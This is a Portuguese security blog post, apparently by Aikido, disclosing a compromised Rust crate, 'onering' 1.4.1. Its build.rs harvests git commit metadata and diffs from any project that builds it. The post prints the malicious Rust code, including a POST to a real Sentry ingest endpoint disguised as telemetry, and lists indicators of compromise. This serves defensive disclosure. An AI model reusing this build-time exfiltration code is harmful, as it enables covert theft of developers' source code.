Aikido

O onering de um crate Rust comprometido executa a exfiltração de código

Escrito por
Ilyas Makari

A 10 de junho de 2026, detetámos um comportamento malicioso na versão mais recente, a 1.4.1, da crate «onering» para Rust. A Onering é uma biblioteca de filas síncronas e canais de alto rendimento para Rust, com mais de 18 000 downloads no crates.io. Nas últimas semanas, o npm, o PyPI e o GitHub receberam a maior parte da atenção devido a uma onda de violações na cadeia de abastecimento. Esta semana é a vez do Rust.

A versão mais recente adicionou um ficheiro build.rs que recolhe discretamente dados do Git de qualquer projeto que esteja a compilar o crate e os envia para um servidor remoto, incluindo o código-fonte do seu commit mais recente. Já vimos anteriormente atacantes a darem asas à criatividade ao executarem cargas maliciosas durante a compilação no npm e no PyPI, e agora estão a experimentar o mesmo em Rust. Embora ataques à Supply chain mais recentes ataques à Supply chain centrado no roubo de credenciais, este parece estar focado exclusivamente no código-fonte.

O problema não se limita ao pacote publicado no crates.io. O repositório GitHub do mantenedor também parece ter sido comprometido, pelo que baixar o crate do Git em vez de o fazer a partir do registo não garante a sua segurança. Alertámos imediatamente o mantenedor: https://github.com/cenotelie/onering/issues/1

O que o ficheiro build.rs malicioso faz

A build.rs é um script de compilação. O Cargo compila-o e executa-o no computador do programador durante a compilação. Isso torna-o um local ideal para esconder uma carga maliciosa, pois basta incluir a dependência do crate e iniciar a compilação para a ativar. Não é necessário chamar nenhuma função da biblioteca.

O injetado build.rs faz três coisas.

Em primeiro lugar, localiza a raiz do projeto que está a utilizar o crate, e não o seu próprio diretório. Ele percorre a árvore a partir de OUT_DIR até encontrar o alvo diretório e, em seguida, o diretório pai deste. O resultado é o seu repositório.

fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
    let dir = PathBuf::from(std::env::var("OUT_DIR")?);
    let mut project_dir = &*dir;
    while let Some(parent) = project_dir.parent() {
        if let Some(last) = parent.iter().last()
            && last == "target"
            && let Some(parent) = parent.parent()
        {
            project_dir = parent;
            break;
        }
        project_dir = parent;
    }
    Ok(project_dir.to_path_buf())
}

Em segundo lugar, executa dois comandos Git no seu repositório. Um deles recolhe os metadados do commit. O outro captura a comparação textual completa do seu commit mais recente.

let Ok(commit) = git(
    &project_path,
    &[
        "log",
        "-n",
        "1",
        r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
    ],
) else {
    return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
    return;
};

O git diff HEAD^ HEAD O `call` obtém a comparação completa do seu último commit, que é divulgada sempre que compila; assim, ao longo de vários commits, acaba por revelar um fluxo contínuo das suas alterações reais no código-fonte, em vez de um único instantâneo.

Em terceiro lugar, disfarça os dados roubados como um evento de telemetria do Sentry e envia-os através de um pedido POST com curl para um ponto de extremidade de ingestão do Sentry. Os metadados do commit tornam-se as etiquetas do evento, e a comparação do seu código é inserida no extra.patch campo.

let payload = format!(
    r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
    Uuid::new_v4().as_simple(),
    patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
    "POST",
    "https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
    &["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
    &payload,
) else {
    return;
};

O disfarce é intencional. Para quem reparar no tráfego de saída durante uma compilação, um pedido enviado para um URL de ingestão do Sentry parece ser apenas um relatório normal de falhas. Há também uma linha comentada que ficou por acaso, // std::fs::write("data.txt", payload), o que sugere fortemente que a carga útil foi testada localmente, gravando-a no disco antes de a ligação de rede ter sido estabelecida.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais abrangente em toda a sua equipa, a Proteção de Dispositivos Aikido oferece-lhe visibilidade e controlo sobre os pacotes de software instalados nos dispositivos da sua equipa. Abrange extensões de navegador, bibliotecas de código, plug-ins de IDE e dependências de compilação, tudo num único local. Impedir o malware antes que seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Indicadores de comprometimento

  • Dependência onering versão 1.4.1 do crates.io.
  • O ponto de extremidade de ingestão do Sentry https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/.
  • A chave pública do Sentry DSN 8197ee42c4f59c83f4cc6d48f5bae821, ID da organização o4511539639222272, e ID do projeto 4511539669368912.
Compartilhar:

https://www.aikido.dev/blog/compromised-rust-crate-onering-performs-code-exfiltration

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.